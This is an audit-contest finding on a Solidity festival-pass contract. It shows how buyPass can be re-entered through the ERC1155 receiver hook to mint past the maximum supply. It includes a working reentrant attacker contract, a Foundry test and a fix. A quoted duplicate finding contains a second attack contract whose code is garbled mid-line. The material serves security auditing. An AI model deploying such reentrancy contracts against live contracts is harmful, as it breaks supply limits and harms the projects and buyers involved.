Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

# M-1: `buyPass` reentrancy bypasses `passMaxSupply`

Root + Impact

buyPass() mints the ERC1155 pass to msg.sender before incrementing passSupply. For a contract buyer, _mint synchronously invokes onERC1155Received, which can re-enter buyPass. During the re-entrant call the supply counter is still at its pre-sale value, so the passSupply < passMaxSupply cap is evaluated against stale state and the attacker can mint more passes than the configured maximum in a single transaction.

Description

The state change that enforces the scarcity cap happens after the external interaction:

  • FestivalPass.sol:74 — require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");

  • FestivalPass.sol:76 — _mint(msg.sender, collectionId, 1, ""); — triggers onERC1155Received for contract callers

  • FestivalPass.sol:77 — ++passSupply[collectionId]; — after the callback

Because the counter is bumped only after the callback returns, every nested buyPass sees the same stale passSupply. The pattern repeats to the recursion depth the attacker funds, then all increments unwind, leaving passSupply above passMaxSupply. There is no nonReentrant guard on buyPass.

// src/FestivalPass.sol:69-85 — mint before supply increment, no reentrancy guard
function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
@> require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
@> _mint(msg.sender, collectionId, 1, ""); // <-- ERC1155 receiver hook fires here
@> ++passSupply[collectionId]; // <-- supply updated only AFTER the hook
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

Risk

Likelihood: High. Exploitable by any contract willing to pay passPrice per pass; it needs no privileged role and works during normal sales. The only cost is the pass price plus gas, which the attacker would spend anyway to acquire passes.

Impact: The per-tier maximum supply invariant breaks: more than passMaxSupply passes exist for a "limited" tier (e.g., BACKSTAGE capped at 100). This destroys the scarcity/collectible value of capped tiers and can let one actor corner a tier beyond its advertised limit. ETH is still paid, so there is no direct theft; impact is economic/collection integrity.

Proof of Concept

The setup configures GENERAL with maxSupply = 1. A malicious buyer contract with maxDepth = 4 calls buyPass with the exact price. Each time it receives the pass in onERC1155Received, it decrements its remaining depth and calls buyPass again. Because all nested calls run before any ++passSupply, each sees passSupply == 0 < 1, so all succeed. Unwinding increments the counter five times, proving the cap was bypassed.

// test/Exploits.t.sol
contract ReentrantBuyer is IERC1155Receiver {
FestivalPass public immutable fp;
uint256 public immutable price;
uint256 public depth;
uint256 public immutable maxDepth;
​
constructor(FestivalPass _fp, uint256 _price, uint256 _maxDepth) {
fp = _fp; price = _price; maxDepth = _maxDepth;
}
function attack() external payable { fp.buyPass{value: price}(1); }
​
function onERC1155Received(address, address, uint256, uint256, bytes calldata)
external override returns (bytes4)
{
if (depth < maxDepth) {
depth++;
fp.buyPass{value: price}(1); // re-enter while passSupply is stale
}
return this.onERC1155Received.selector;
}
// ... IERC1155Receiver boilerplate (onERC1155BatchReceived, supportsInterface), receive()
}
​
function test_BuyPassReentrancyExceedsMaxSupply() public {
vm.prank(organizer);
fp.configurePass(1, GENERAL_PRICE, 1); // cap = 1
​
ReentrantBuyer buyer = new ReentrantBuyer(fp, GENERAL_PRICE, 4);
vm.deal(address(buyer), GENERAL_PRICE * 10);
​
buyer.attack();
​
// bug proof: five passes minted despite maxSupply == 1
assertGt(fp.passSupply(1), 1, "sold more passes than maxSupply");
assertEq(fp.passSupply(1), 5);
assertEq(fp.balanceOf(address(buyer), 1), 5);
}

Recommended Mitigation

Apply checks-effects-interactions: increment passSupply before _mint, and add a nonReentrant guard to buyPass as defence-in-depth. Moving the increment first makes the cap read the updated value in every nested call, so recursion fails its own require. The bonus mint should also occur after state is finalized.

-function buyPass(uint256 collectionId) external payable {
+function buyPass(uint256 collectionId) external payable nonReentrant {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
- // Mint 1 pass to buyer
- _mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
+ // Effects before interactions
+ ++passSupply[collectionId];
+ _mint(msg.sender, collectionId, 1, "");
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!